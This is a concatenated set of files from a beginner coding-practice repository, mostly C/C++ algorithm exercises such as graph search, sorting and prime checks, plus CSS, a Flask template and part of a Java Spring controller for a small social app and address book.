	for(i=0;ch[i]!='\0';i++)
		if(isdigit(ch[i]))
			s.push(ch[i]-'0');
		else
		{
			op1 = s.top();
			s.pop();
			op2 = s.top();
			s.pop();
			switch (ch[i])
			{
			case '+': s.push(op1+op2);break;
			case '-': s.push(op1-op2);break;
			case '*': s.push(op1*op2);break;
			case '/': s.push(op1/op2);break;
			default:
				break;
			}
		}
	cout << "after evaluating :" << s.top();
	return 0;


}

<|start_filename|>Python/Sakha/Sakha/static/css/avatar.css<|end_filename|>
/*************************
GENERAL STYLING
**************************/
.avatar--main {
  width: 100%;
  margin-top: 4.62em;
  background-color: #f7f7f7;
  padding: 2em 1.5em;
  font-family: 'Poppins',sans-serif;
}

.avatar--main section {
  max-width: 720px;
  margin: 0 auto;
}

.avatar--main h2 {
  font-family: 'Nunito',sans-serif;
  margin: 1em 0;
  letter-spacing: .03em;
  font-size: 1.6em;
  color: var(--h1-color);
  font-weight: 700;
  position: relative;
}

.avatar--main h2:after {
  content: '';
  position: absolute;
  bottom: 0;
  left: 0;
  width: 3.5em;
  height: 3px;
  background-color: currentColor;
}

/************************
FORMS STYLING
***********************/
.form__group {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: center;
      -ms-flex-pack: center;
          justify-content: center;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
      -ms-flex-direction: column;
          flex-direction: column;
  margin-bottom: 1em;
}

.form__group label {
  font-weight: 500;
  color: var(--label-color);
  line-height: 1.35;
  margin-bottom: .25em;
  letter-spacing: .03em;
  font-size: 1.15em;
}

.form__group span {
  font-size: .7em;
  font-weight: 600;
  letter-spacing: .02em;
  color: #ce2727;
}

.form__group input {
  font-family: 'Nunito',sans-serif;
  font-weight: 500;
  font-size: 1em;
}

.form__submit__group {
  margin-bottom: 1em;
}

.form__submit__group input[type="submit"] {
  margin-top: 1em;
  margin-bottom: 1em;
  text-transform: uppercase;
  background-image: -webkit-gradient(linear, left bottom, left top, from(var(--btn-color-1)), to(var(--btn-color-2)));
  background-image: linear-gradient(to top, var(--btn-color-1), var(--btn-color-2));
  color: var(--color-white);
  width: 100%;
  padding: .75em;
  font-weight: 500;
  font-family: 'Poppins',sans-serif;
  border: none;
  font-size: 1.1em;
  position: relative;
  border-radius: .35em;
  letter-spacing: .05em;
  -webkit-box-shadow: 0 0 4px var(--btn-shadow-color);
          box-shadow: 0 0 4px var(--btn-shadow-color);
  -webkit-transition: background-color 300ms ease-out;
  transition: background-color 300ms ease-out;
}

.form__submit__group input[type="submit"]:hover, .form__submit__group input[type="submit"]:focus {
  cursor: pointer;
  background-image: -webkit-gradient(linear, left bottom, left top, from(var(--btn-hover-color-1)), to(var(--btn-hover-color-2)));
  background-image: linear-gradient(to top, var(--btn-hover-color-1), var(--btn-hover-color-2));
}

.form ::-webkit-input-placeholder {
  font-style: italic;
}

.form :-ms-input-placeholder {
  font-style: italic;
}

.form ::-ms-input-placeholder {
  font-style: italic;
}

.form ::placeholder {
  font-style: italic;
}

/******************
Upload Button Styling
*********************/
.form__group input::file-selector-button {
  padding: .7em 2.5em;
  font-family: 'Poppins',sans-serif;
  font-size: 1em;
  font-weight: 500;
  background-image: linear-gradient(60deg, #29323c 0%, #485563 100%);
  color: var(--color-white);
  border: none;
  border-radius: .4em;
  -webkit-transition: background-color 300ms ease-out;
  transition: background-color 300ms ease-out;
}

.form__group input::file-selector-button:hover, .form__group input::file-selector-button:focus {
  cursor: pointer;
  background-image: linear-gradient(60deg, #2f353b 0%, #223a53 100%);
}

.form__group input::-ms-browse {
  padding: .7em 2.5em;
  font-family: 'Poppins',sans-serif;
  font-size: 1em;
  font-weight: 500;
  background-image: linear-gradient(60deg, #29323c 0%, #485563 100%);
  color: var(--color-white);
  border: none;
  border-radius: .4em;
  -webkit-transition: background-color 300ms ease-out;
  transition: background-color 300ms ease-out;
}

.form__group input::-ms-browse:hover, .form__group input::-ms-browse:focus {
  cursor: pointer;
  background-image: linear-gradient(60deg, #2f353b 0%, #223a53 100%);
}

.form__group input::-webkit-file-upload-button {
  padding: .7em 2.5em;
  font-family: 'Poppins',sans-serif;
  font-size: 1em;
  font-weight: 500;
  background-image: linear-gradient(60deg, #29323c 0%, #485563 100%);
  color: var(--color-white);
  border: none;
  border-radius: .4em;
  -webkit-transition: background-color 300ms ease-out;
  transition: background-color 300ms ease-out;
}

.form__group input::-webkit-file-upload-button:hover, .form__group input::-webkit-file-upload-button:focus {
  cursor: pointer;
  background-image: linear-gradient(60deg, #2f353b 0%, #223a53 100%);
}

/********************
Note Container
***********************/
.important__note__container {
  margin-bottom: 1.5em;
}

.important__note__container h4 {
  color: var(--warning-color);
  text-transform: uppercase;
}


<|start_filename|>DSA/Graphs/dungeon.cpp<|end_filename|>
/** There is a dungeon with unit cubes, if '.' then it is an empty cell
 * if '#' then it contains rock, we start at 'S' and exit is at 'E'
 * find if it contains a path from S to E, if it exits, find the shortest
 * distance from S to E, else print -1 **/

#include <bits/stdc++.h>
using namespace std;

/** To represent 4 directions in which we can go, we can make use of the 
 * direction vectors **/
// North, south, east, west
int dr[4] = {-1, 1, 0, 0};
int dc[4] = {0, 0, 1, -1};

/** Instead of storing a pair of x,y co ordinates in a queue, we can make 2 queue
 * and store x and y in it separately **/
queue<int> qr, qc;

int moves = 0, nodes_left_in_current = 1, nodes_left_in_next = 0;

void exploreNeighbours(int r, int c, int R, int C, vector<vector<bool>> &visited,
                       vector<vector<char>> &grid)
{
    for (int i = 0; i < 4; i++)
    {
        int rr = r + dr[i], cc = c + dc[i];
        if (rr < 0 || cc < 0)
            continue;

        if (rr >= R || cc >= C)
            continue;

        if (visited[rr][cc])
            continue;

        if (grid[rr][cc] == '#')
            continue;

        qr.push(rr), qc.push(cc);
        visited[rr][cc] = true;
        nodes_left_in_next++;
    }
}

int solve(vector<vector<char>> &grid, vector<vector<bool>> &visited, int startX,
          int startY, int R, int C)
{
    qr.push(startX), qc.push(startY);
    visited[startX][startY] = true;
    bool reached = false;

    while (!qr.empty())
    {
        int r = qr.front(), c = qc.front();
        qr.pop(), qc.pop();

        if (grid[r][c] == 'E')
        {
            reached = true;
            break;
        }
        exploreNeighbours(r, c, R, C, visited, grid);
        nodes_left_in_current--; // since we already visited r and c

        /** to make sure we only count moves when we go to the next layer**/
        if (nodes_left_in_current == 0)
        {
            nodes_left_in_current = nodes_left_in_next;
            nodes_left_in_next = 0;
            moves++;
        }
    }

    if (reached)
        return moves;
    return -1;
}

int main()
{
    int R, C;
    cout << "Enter no. of rows and columns ";
    cin >> R >> C;

    vector<vector<char>> grid(R, vector<char>(C, '.'));
    int startX = 0, startY = 0;
    cout << "\nEnter the grid \n";
    for (int i = 0; i < R; i++)
    {
        for (int j = 0; j < C; j++)
        {
            char d;
            cin >> d;
            grid[i][j] = d;
            if (grid[i][j] == 'S')
                startX = i, startY = j;
        }
    }

    vector<vector<bool>> visited(R, vector<bool>(C, false));

    int x = solve(grid, visited, startX, startY, R, C);
    if (x != -1)
        cout << "\nNo. of shortest steps " << x << endl;

    else
        cout << "No path!\n";
}

<|start_filename|>DSA/CP series/string_palindrome.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
   
   string s1,s2;
   cin>>s1;

   for(int i=s1.size()-1;i>=0;i--)
   s2.push_back(s1[i]);

   if(s1==s2)
   cout<<"palindrome";
   else
   cout<<"no";
}


<|start_filename|>DSA/Recursion/number_to_spellings.cpp<|end_filename|>
#include <iostream>
using namespace std;

char words[][10]={"zero","one","two","three","four","five","six","seven","eight","nine"};
void convert(int n)
{
    if(n==0)
    return;
    else
    {
        convert(n/10);
        int digit=n%10;
        cout<<words[digit]<<" ";
    }
}

int main() {
   int n;
   cin>>n;

   convert(n);
}


<|start_filename|>CPP/SortingTechniques/InsertionSort.c<|end_filename|>
//This is a program to display Insertion Sort
//In Insertion sort we insert the new element in a Sorted Array or LL
//In Array, we will have to shift the elment every time the element in consid is greater than the new element.
//This takes time.
//However, For Linked List we simply have to search for its position and simply insert at that position.
//And this is why, Insertion Sort is more compatible with linked list as compared to array.

//The time complexity for Insertion an element in both Array and linked list is O(n)-max and O(1)-min.
//Insertion Sort is adoptive by nature as it takes O(n) time for sorted array.
//Further it is also stable at same time.
//Time Complexity for n elements : Max - O(n^2){reverse sorted} Min-O(n){sorted}
//No of Swaps : Max - O(n^2){reverse sorted} Min-O(1){sorted}

#include <stdio.h>
#include <stdlib.h>

//Array
void Insertion(int A[], int n)
{
    int j, x;
    for(int i=1; i < n; i++){
        j = i-1;
        x = A[i];
        while(j > -1 && A[j] > x){
            A[j+1] = A[j];
            j--;
        }
        A[j+1] = x;
    }
}


//Linked List
struct Node{
    int data;
    struct Node *next;
}*first = NULL;

void InsertionLL(int A[], int n)
{
    struct Node *t = (struct Node*)malloc(sizeof(struct Node));
    t->data = A[0];
    t->next = NULL; 
    first = t;

    struct Node *p, *q;
    for(int i=1; i < n; i++)
    {
        p = first, q= NULL;
        while(p && A[i] > p->data){
            q = p;
            p = p->next;
        }
        t = (struct Node*)malloc(sizeof(struct Node));
        t->data = A[i];
        if(p == first){t->next = first; first = t; continue;}
        t->next = q->next;
        q->next = t;
    }
}

//Display Linked List
void Display(struct Node *p){
    while(p){
        printf("%d ", p->data);
        p = p->next;
    }
    printf("\n");
}

int main()
{
    int A[] = {62, 23, 51, 79, 6, 19, 97, 39, 120};
    int n = sizeof(A)/sizeof(A[0]);

    //LL Insertion Sort
    InsertionLL(A, n);
    printf("Sorted LL : ");
    Display(first);

    //Array Sorted
    Insertion(A, n);
    printf("Sorted : ");
    for(int i=0; i < n; i++)
        printf("%d ", A[i]);
    printf("\n");
    return 0;
}

<|start_filename|>JS/moving_car_animation/car.js<|end_filename|>
$(document).ready(function(){
    $surface=$('.surface');
    $car=$('.car');
    $img=$('.car img');
    $song=$('#mySong');
    let flag = true;
   
    const cars=['Img_05.png', 'Img_06.png'];
    
    $(document).on('keypress',function(f){
        if(f.which == 13){
            $($surface).toggleClass('movement');
            $($car).toggleClass('carmove');
        }
    })
    $(document).on('keypress',function(f){
        if(f.which == 119){
            if(flag){
                flag=false;
                $img.attr('src',cars[0]);
            }
            else{
                flag=true;
                $img.attr('src',cars[1]);
            }
        }
    })
    document.addEventListener('keydown', function(e) {
        if (e.keyCode == 49) {
          document.getElementById('audio').play();
        }
        if (e.keyCode == 50) {
            document.getElementById('audio').pause();
        }
    })



});

<|start_filename|>C/Menu Driven Sorting Algo.c<|end_filename|>
//Sort Operations
//Copyright @Agarwal-Kritik
#include <stdio.h>
#include<stdlib.h>

void second(void)
{
	system("cls");
	printf("\n=====================================================================================================================================");
	printf("\n\t\t\t    __  ___           __      __                   __   __  __ ___ __ __  __   __  ___");
	printf("\n\t\t\t|_/|__)| | ||_/   /\\ / _  /\\ |__)|  | /\\ |     /| (__\\ |__)|__) | /  (_  /  \\ /__    /");
	printf("\n\t\t\t| \\| \\ | | || \\  /--\\\\__)/--\\| \\ |/\\|/--\\|__    |  __/ |__)|__) | \\____) \\__/ \\__)  / ");
	printf("\n=====================================================================================================================================\n");
}

void msort(void)
{
	void merge(int a[],int i1,int j1,int i2,int j2)
	{
		int temp[50]; 
		int i,j,k; i=i1;
		j=i2; k=0;
		while(i<=j1 && j<=j2)
		{ 
			if(a[i]<a[j])
				temp[k++]=a[i++];
			else
				temp[k++]=a[j++];
		}
		while(i<=j1) 
			temp[k++]=a[i++];
		while(j<=j2) 
			temp[k++]=a[j++];
		for(i=i1,j=0;i<=j2;i++,j++)
			a[i]=temp[j];
	}
	void mergesort(int a[],int i,int j)
	{ 
		int mid;
		if(i<j) 
		{
			mid=(i+j)/2;
			mergesort(a,i,mid); 
			mergesort(a,mid+1,j);
			merge(a,i,mid,mid+1,j);
		}
	}
	int a[30],n,i;
	second();
	printf("\n\n\t\t\t\t\tWELCOME TO MERGE SORT WINDOW.\n");
	printf("\nEnter size of array: "); 
	scanf("%d",&n);
	printf("\nEnter array elements:\n");
	for(i=0;i<n;i++)
		scanf("%d",&a[i]);
	mergesort(a,0,n-1);
	printf("\nSorted array is:");
	for(i=0;i<n;i++)
	{
		printf(" %d ",a[i]);
		if(i<n-1)
			printf(",");
	}
}

void isort(void)
{
	int A[1000], a, b, c, tmp;
	second();
	printf("\n\n\t\t\t\t\tWELCOME TO INSERTION SORT WINDOW.\n");
	printf("\nEnter size of array: ");
	scanf("%d", &a);
	printf("\nEnter array elements:\n", a);
	for(b=0; b<a; b++) 
		scanf("%d", &A[b]);
	for(b=1 ; b<=a-1; b++) 
	{
		for(c=b; c>0 && A[c-1]>A[c]; c--) 
		{
			tmp=A[c];
			A[c]=A[c-1];
			A[c-1]=tmp;
		}
	}
	printf("\nSorted list in ascending order: ");
	for(b=0;b<=a-1; b++)
	{
		printf(" %d ", A[b]);
		if(b<a-1)
			printf(",");
	}
}

void Qsort(void)
{
	void quicksort(int x[10],int ft,int lt)
	{
		int pvt,j,temp,i;
		if(ft<lt)
		{
			pvt=ft;
			i=ft;
			j=lt;
			while(i<j)
			{ 
				while(x[i]<=x[pvt]&&i<lt)
					i++;
				while(x[j]>x[pvt])
					j--;
				if(i<j)
				{
					temp=x[i];
					x[i]=x[j];
					x[j]=temp;
				}
			}
			temp=x[pvt];
			x[pvt]=x[j];
			x[j]=temp;
			quicksort(x,ft,j-1);
			quicksort(x,j+1,lt);
		}
	}
	second();
	printf("\n\n\t\t\t\t\tWELCOME TO QUICK SORT WINDOW.\n");
	int x[20],size,i;
	printf("\nEnter size of array: ");
	scanf("%d",&size);
	printf("\nEnter array elements:\n",size);
	for(i=0;i<size;i++)
		scanf("%d",&x[i]);
	quicksort(x,0,size-1);
	printf("\nSorted elements: ");
	for(i=0;i<size;i++)
	{
		printf(" %d ",x[i]);
		if(i<size-1)
			printf(",");
	}
}

void main()
{
	int k=4;
	second();
	printf("\n\n\t\t\t\t\tWELCOME TO SORTING METHODS WINDOW.\n");
	printf("\n\t\t\t\tWhich operation you want to perform?");
	while(k>0)
	{
		printf("\n\n\t\t\t\tMain Menu:");
		printf("\n\t\t\t\t1) Insertion Sort\n\t\t\t\t2) Merge Sort\n\t\t\t\t3) Quick Sort\n\t\t\t\tPress \"0\" to EXIT\n\n"); 
		printf("\n\t\t\t\tEnter your choice: ");
		scanf("%d", &k);
		if(k==1)
			isort();
		else if(k==2)
			msort();
		else if(k==3)
			Qsort();
		else if(k==0)
			exit(0);
		else
			printf("\n\t\t\t\t\t\tInvalid Input!\n");
	}
}

<|start_filename|>DSA/Notes and examples/comparator.cpp<|end_filename|>
#include <iostream>
#include<algorithm>
using namespace std;

bool compare(int a,int b)
{
    //sorts array in decreasing order
    return  a>b;
}

int main() {
    int a[]={10,2,4,5};
    cout<<"given array:"<<endl;
    for(int i=0;i<4;i++)
    {
        cout<<a[i]<<endl;
    }

    //adding function as parameter
    sort(a,a+4,compare);
    cout<<"sorted array:"<<endl;
    for(int i=0;i<4;i++)
    {
        cout<<a[i]<<endl;
    }
}



<|start_filename|>Python/Sakha/Sakha/templates/sites/home.html<|end_filename|>
{% extends 'others/layout.html' %}
{% block stylesheet %}
<link rel="stylesheet" href="{{url_for('static', filename='css/home.min.css')}}">
{% endblock stylesheet %}

{% block body %}

<!--____________________________Homepage when user has logged in___________________________-->
{% if current_user.is_authenticated %}
<main class="home__logged--main">

    <div class="create__post__btn__container">
        <a href="{{url_for('create_post')}}" class="create__post__btn">
            <i class="fas fa-plus-circle"></i>
            CREATE POST
        </a>
    </div>

    <section class="home__logged__posts__container">

        {% for post in posts %}
        <article>

            <div class="post__header">

                <div class="post__author__container">

                    <div class="post__author__img__wrapper">
                        <a href="{{url_for('user_profile',user_id=post.author.id)}}" class="img__link" title='Post Author'>
                            <img src="{{url_for('static',filename='user-images/'+post.author.profile_pic)}}" alt="">
                        </a>
                    </div>

                    <div class="post__author__name__container">
                        <div>
                            <a href="{{url_for('user_profile',user_id=post.author.id)}}" class="author__name" title='Post Author'>{{post.author.firstname}}</a>
                            {% if post.author == current_user %}
                            <p class="current__user">You</p>
                            {% endif %}
                        </div>

                        <span>{{post.postDate.strftime('%d/%m/%Y')}}</span>
                    </div>

                </div>

                {% if post.author == current_user %}
                <div class="post__related__btn__links__container">

                    <button class="sideNavShowBtn">
                        <i class="fas fa-ellipsis-v"></i>
                    </button>
                    
                    <div class="post__related__btn__links">
                    
                        <button class="sideNavHideBtn">
                            <i class="fas fa-times"></i>
                        </button>
                        
                        <a href="" title='Edit Post'>
                            <i class="fas fa-edit"></i>
                            <span>Edit Post</span>
                        </a>

                        <a href="{{url_for('delete_post',post_id=post.id)}}" title='Delete Post'>
                            <i class="fas fa-trash"></i>
                            <span>Delete Post</span>
                        </a>

                    </div>

                </div>
                {% endif %}

            </div>

            <div class="post__body">

                <div class="post__content__container">
                    <a href="">
                        {{post.content | truncate(250, False, '')}}
                    </a>
                </div>

                {% if post.postImage %}
                <div class="post__image__container">
                    <a href="">
                        <img src="{{url_for('static',filename='user-images/'+post.postImage)}}" alt="Post Image">
                    </a>
                </div>
                {% endif %}

            </div>

            <div class="post__footer">
                {% if current_user.has_liked(post) %}
                <button class="heart__btn heart__btn__active" data-postid = {{post.id}}>
                    <i class="fas fa-heart"></i>
                {% else %}   
                <button class="heart__btn" data-postid = {{post.id}}>
                    <i class="far fa-heart"></i>
                {% endif %}
                    <span style="color:rgb(63, 61, 79)">{{post.likes.count()}}</span>
                </button>

                <a href="" class="comment__btn" title='Comment'>
                    <i class="fas fa-comment-alt"></i>
                    <span>10</span>
                </a>
            </div>

        </article>
        {% endfor %}

    </section>

</main>


<!--_____________________________Homepage when user has not logged in_____________________________-->
{% else %}
<main class="home--general--main">

    <div class="home__svg__container">
        <img src="{{url_for('static',filename='site-images/home-svg.svg')}}" class="home__svg">
    </div>

    <div class="home__content__container">
        <h1>Welcome Folk</h1>
        <p>
            Sakha is a social network application which provides a completely new & unique experience about a social application.
            You can checkout more about the application in <a href="{{url_for('about_us')}}" title="About Us">about us</a> section.
        </p>
        <a href="{{url_for('login')}}" class="login__link">
            <span>Get Started</span>
            <i class="fas fa-angle-double-right"></i>
        </a>
    </div>
</main>
<!-- _____________________________________________________ -->
{% endif %}

{% endblock body %}


{% block script %}
<script src="{{url_for('static',filename='js/home.js')}}"></script>
{% endblock script %}






<!-----------------------Overlay Container---------------------->
{#
    <section class="overlay__container">
    
        <div class="overlay__content">
            <p>Do you want to delete the post?</p>
    
            <div>
                <a href="{{url_for('delete_post',post_id=post.id)}}" class="delete__btn btn">Confirm</a>
                <button type="button" class="cancel__btn btn">Cancel</button>
            </div>
        </div>
    
        <div class="overlay__bg"></div>
    
    </section> 
    #}
    
    <!-- _____________________________________________________ -->

<|start_filename|>CPP/Kruskals.cpp<|end_filename|>
class Graph: 
  
    def __init__(self,vertices): 
        self.V= vertices 
        self.graph = []
    def addEdge(self,u,v,w): 
        self.graph.append([u,v,w])  
    def find(self, parent, i): 
        if parent[i] == i: 
            return i 
        return self.find(parent, parent[i]) 
    def union(self, parent, rank, x, y): 
        xroot = self.find(parent, x) 
        yroot = self.find(parent, y) 
        if rank[xroot] < rank[yroot]: 
            parent[xroot] = yroot 
        elif rank[xroot] > rank[yroot]: 
            parent[yroot] = xroot 
        else : 
            parent[yroot] = xroot 
            rank[xroot] += 1
    def KruskalMST(self): 
  
        result =[] 
  
        i = 0 
        e = 0 
        self.graph =  sorted(self.graph,key=lambda item: item[2]) 
  
        parent = [] ; rank = [] 
        for node in range(self.V): 
            parent.append(node) 
            rank.append(0) 

        while e < self.V -1 : 
            u,v,w =  self.graph[i] 
            i = i + 1
            x = self.find(parent, u) 
            y = self.find(parent ,v) 
            if x != y: 
                e = e + 1     
                result.append([u,v,w]) 
                self.union(parent, rank, x, y)             
        print("Following are the edges in the constructed MST")
        for u,v,weight  in result: 
            print("%d -- %d == %d" % (u,v,weight))
g = Graph(9)
g.addEdge(0, 1, 4)
g.addEdge(0, 7, 8)
g.addEdge(1, 2, 8)
g.addEdge(1, 7, 11)
g.addEdge(2, 8, 2)
g.addEdge(2, 3, 7)
g.addEdge(2, 5, 4)
g.addEdge(3, 4, 9)
g.addEdge(3, 5, 14)
g.addEdge(4, 5, 10)
g.addEdge(5,6,2)
g.addEdge(6,7,1)
g.addEdge(6,8,6)
g.addEdge(7,8,7)

g.KruskalMST()            



<|start_filename|>DSA/Special Matrices/SymmetrixMatrix.cpp<|end_filename|>
//Symmetric matrix xan be implemented either using upper Triangular or Lower Triangular Matrices.
//They follow the condition A[i, j] = A[j, i]

#include <iostream>

using namespace std;

class SymmetricMatrix{
    private:
    int size;
    int *ele;

    public:
    SymmetricMatrix(int n){
        this->size = n;
        ele = new int[n*(n+1)/2];
    }  

    void set(int i, int j, int x);
    int get(int i, int j);
    void Display();
    ~SymmetricMatrix(){delete [] ele;}
};

void SymmetricMatrix :: set(int i, int j, int x){
    if(i >= j)
        ele[(i*(i-1))/2 + j-1] = x;
    else 
        ele[size * (j-1) - ((j-1)*(j-2))/2 +i-j] = x;
}

int SymmetricMatrix :: get(int i, int j){
    if(i >= j)
        return ele[i*(i-1)/2 + j-1];
    else
        return ele[j * (j-1)/2 + i-1]; 
}

void SymmetricMatrix :: Display(){
    for(int i =1; i <= size; i++){
        for(int j =1; j <= size; j++){
            if(i <= j) printf("%3d", ele[(i*(i-1))/2 + j-1]);
            else printf("%3d", ele[(j*(j-1))/2 + i-1]);
        }
        cout << endl;
    }
}


int main(){
    int index;
    cout << "Enter the size of the Matrix : " ;
    cin >> index;
    SymmetricMatrix mat(index);
    printf("Enter the Elements along with indices : \n");
    int i, j, val;
    for(int k=0; k < (index*(index+1))/2; k++){
        cin >> i >> j >> val;
        mat.set(i, j, val);
    }

    cout << endl;
    mat.Display();
    cout << endl << endl;
    int choice = 1;
    while(choice){
        cin >> i >> j;
        printf("Element at index %d,%d = %d\n", i, j, mat.get(i, j));
        cout << "Do you want to continue Searching. Press 1 for Y, 0 for N : ";
        cin >> choice;
    }
}

<|start_filename|>CPP/PrimeCheck.cpp<|end_filename|>
/* 
------------------------------------------------------------------------------------------------
USERNAME: RASESH2005
DESCRIPTION: THIS PROGRAM CHECKS IF A NUMBER IS PRIME OR NOT
DATE: 1/10/2021
------------------------------------------------------------------------------------------------
*/
#include <bits/stdc++.h>

using namespace std;

//SNIPPET
bool isPrime(int n)
{
    for (int i = 2; i <= int(sqrt(n) + 1); i++)
    {
        if (n % i == 0)
            return false;
    }
    return true;
}
int main()
{
    //APPLICATION
    bool result = isPrime(24498757);
    cout << result << endl;
    cout << (result ? "Prime" : "Not A Prime") << endl;
    return 0;
}


<|start_filename|>CPP/BFS.cpp<|end_filename|>
#include<bits/stdc++.h> 
#include<ext/pb_ds/assoc_container.hpp>
#include<ext/pb_ds/tree_policy.hpp>
#pragma GCC optimize("Ofast")
#pragma GCC target("sse,sse2,sse3,ssse3,sse4,popcnt,abm,mmx,avx,avx2,fma")
#pragma GCC optimize("unroll-loops")
const unsigned int M = 1000000007;
using namespace std;
// Check
using namespace __gnu_pbds;
typedef tree<int,null_type,less<int>,rb_tree_tag,tree_order_statistics_node_update> T_set; // PBDS_set
typedef tree<int,null_type,less_equal<int>,rb_tree_tag,tree_order_statistics_node_update> T_multiset; // PBDS_multiset

void solve()
{
    int n ,m,u,v;
    cin>>n>>m;
    vector<list<int>> adj(n+1);
    vector<bool> vis(n+1,false);
    for(int i = 0; i < n ; i++ ){
        cin>>u>>v;
        adj[u].push_back(v);
        adj[v].push_back(u);
    }
    queue<int> temp;
    temp.push(1);
    vis[1] = true;
    while(!temp.empty()){
        int curr = temp.front();
        cout<<curr<<" ";
        temp.pop();
        for(int elem : adj[curr]){
            if(!vis[elem]){
                temp.push(elem);
                vis[elem] = true;
             }
        }
    }

}
int main()
{
ios_base::sync_with_stdio(false);
cout.tie(NULL);
cin.tie(NULL);
solve();
return 0;
}


<|start_filename|>CPP/primeNumber.cpp<|end_filename|>
/* --logic--
brute force method : O(n)

    searching for a divisor from 2 to n-1 through a loop

optimized method : O(sqrt(n))
    
    any number n which is not a prime can be written as 'n = a * b' where aE[2, n-1], hence b = n /a
    n = a * b 
    -> b = n / a
    -> a <= b
    -> a * b >= a * a
    -> n >= a * a
    -> a <= sqrt(n)

*/

#include <cmath>
#include<iostream>
using namespace std;

bool isPrime(int n)
{
    if(n <= 1)
        return false;
    

    for(int i = 2; i <= sqrt(n); i++)
    {
        if(n % i == 0)
        {
            return false;
        }
    }

    return true;

}

int main()
{
    int n;
    cin >> n;

    cout << boolalpha << isPrime(n) << endl;

    return 0;
}

<|start_filename|>DSA/Graphs/bfs.cpp<|end_filename|>
/** In bfs, we traverse the graph in layers, first we look for all the neighbours of 
 * a node, keep track of the parent of a particular node, and store the nodes in a queue
 * then, we backtrack from the end node and store the path as the shortest path 
 * It is used to calculate the shortest path **/
#include <bits/stdc++.h>
using namespace std;

// this function does the actual bfs, visits every node that is connected from start
// it returns array of the parent of nodes

vector<int> solve(vector<vector<int>> &adj, int start, int n)
{
    queue<int> q;
    q.push(start);
    vector<bool> visited(n, false);
    visited[start] = true;

    vector<int> prev(n, -1);
    while (!q.empty())
    {
        int node = q.front();
        q.pop();
        vector<int> neighbour = adj[node];
        for (auto next : neighbour)
        {
            if (!visited[next])
            {
                q.push(next);
                visited[next] = true;
                prev[next] = node;
            }
        }
    }

    return prev;
}

// this function takes the parent array of the nodes, and checks if there exists a path
// between start and the end node and returns that path

vector<int> reconstructPath(int start, int end, vector<int> prev)
{
    vector<int> path;
    for (int x = end; x != -1; x = prev[x])
        path.push_back(x);

    reverse(path.begin(), path.end());

    if (path[0] == start)
        return path;

    return {};
}

vector<int> bfs(vector<vector<int>> &adj, int start, int end, int n)
{

    vector<int> prev = solve(adj, start, n);
    return reconstructPath(start, end, prev);
}

int main()
{
    int n, e;
    cout << "Enter no. of nodes and edges ";
    n = 13, e = 15;
    cout << "\nEnter the map ";
    vector<vector<int>> adj(n);
    for (int i = 0; i < e; i++)
    {
        int x, y;
        cin >> x >> y;
        adj[x].push_back(y), adj[y].push_back(x);
    }

    int start, end;
    cout << "\nEnter start node and end node ";
    cin >> start >> end;

    cout << "\nShortest path between " << start << " and " << end << " \n";
    vector<int> path = bfs(adj, start, end, n);
    if (path.size() > 0)
    {
        for (auto x : path)
            cout << x << " ";
        cout << endl;
    }
    else
        cout << "\nNo path\n";
}

<|start_filename|>DSA/Strings/palindrome.cpp<|end_filename|>
/*
   Function to check if a string is palindrom or not
   Time Complexity - O(N)
   Space Complexity - O(1)
*/

#include <bits/stdc++.h>
using namespace std;
int main() 
{
    string s="abacdffghgffdcaba";  //check on sample string.
    
    for(int i=0; i<s.length()/2; i++) 
    {
        if(s[i] != s[s.length()-i-1]) 
        {
            cout << "not a palindrome";
            return 0;
        }
    }
    cout << "palindrome";
    
    return 0;

}


<|start_filename|>DP/KadanesAlgorithm.cpp<|end_filename|>
/*
Kadane's Algorithm 
Given an array Arr[] of N integers. Find the contiguous sub-array(containing at least one number)
which has the maximum sum and return its sum.
Example 1:
Input:
N = 5
Arr[] = {1,2,3,-2,5}
Output:
9
Explanation:
Max subarray sum is 9
of elements (1, 2, 3, -2, 5) which 
is a contiguous subarray.
Example 2:
Input:
N = 4
Arr[] = {-1,-2,-3,-4}
Output:
-1
Explanation:
Max subarray sum is -1 
of element (-1)
 */
#include<iostream>
using namespace std;

int maxSum(int a[], int n){
    int ma = INT_MIN;
    int max_th = 0;
    for(int i=0; i<n; i++){
        max_th = max_th+ a[i];
        if(max_th>ma)
            ma = max_th;
        if(max_th<0)
            max_th = 0;
    }
    return ma;
}
int main(){
    int n;
    cin>>n;
    int a[n];
    for(int i=0; i<n; i++)
        cin>>a[i];
    int sum= maxSum(a, n);
    cout<<"Sum: "<<sum;
}

<|start_filename|>DSA/CP series/sum_of_digits.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

int main()
{
	int n;
	cin>>n;
	int sum=0;

	while(n!=0)
	{
		int rem=n%10;
		sum+=rem;
		n%=10;
	}
	return 0;
}

<|start_filename|>1to100PrimeNumbers.cpp<|end_filename|>
#include<iostream>
using namespace std;

int main() {
    
    int i,j;

    for(i=2;i<101;i++) {
    bool x=true;
    
    for (j=2;j<(i-1);j++) {

    if(i%j==0) {
        x=false;
        break;
    }

    }

    if(x==true) {
        cout<<i<<endl;
    }

    }

    return 0;
}

<|start_filename|>DSA/STL/max&min.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
   int a=10,b=4;

   cout<<"maximum="<<max(a,b)<<endl;
   cout<<"minimum="<<min(a,b)<<endl;
}



<|start_filename|>Java_Backend/JSPLoginForm/src/main/java/com/todc/addressbook/web/ContactController.java<|end_filename|>
package com.todc.addressbook.web;


import com.todc.addressbook.domain.Contact;
import com.todc.addressbook.repository.ContactRepository;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.ui.ModelMap;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
import org.springframework.web.servlet.view.RedirectView;

import javax.validation.Valid;
import java.util.Collection;
import java.util.List;


/**
 * @author <NAME> (<EMAIL>)
 */
@Controller
public class ContactController {

    private static final Logger LOG = LoggerFactory.getLogger(ContactController.class);


    // ----------------------------------------------------- Instance Variables


    @Autowired
    private ContactRepository contactRepo;


    // --------------------------------------------------------------- Mutators


    public ContactRepository getContactRepo() {
        return contactRepo;
    }

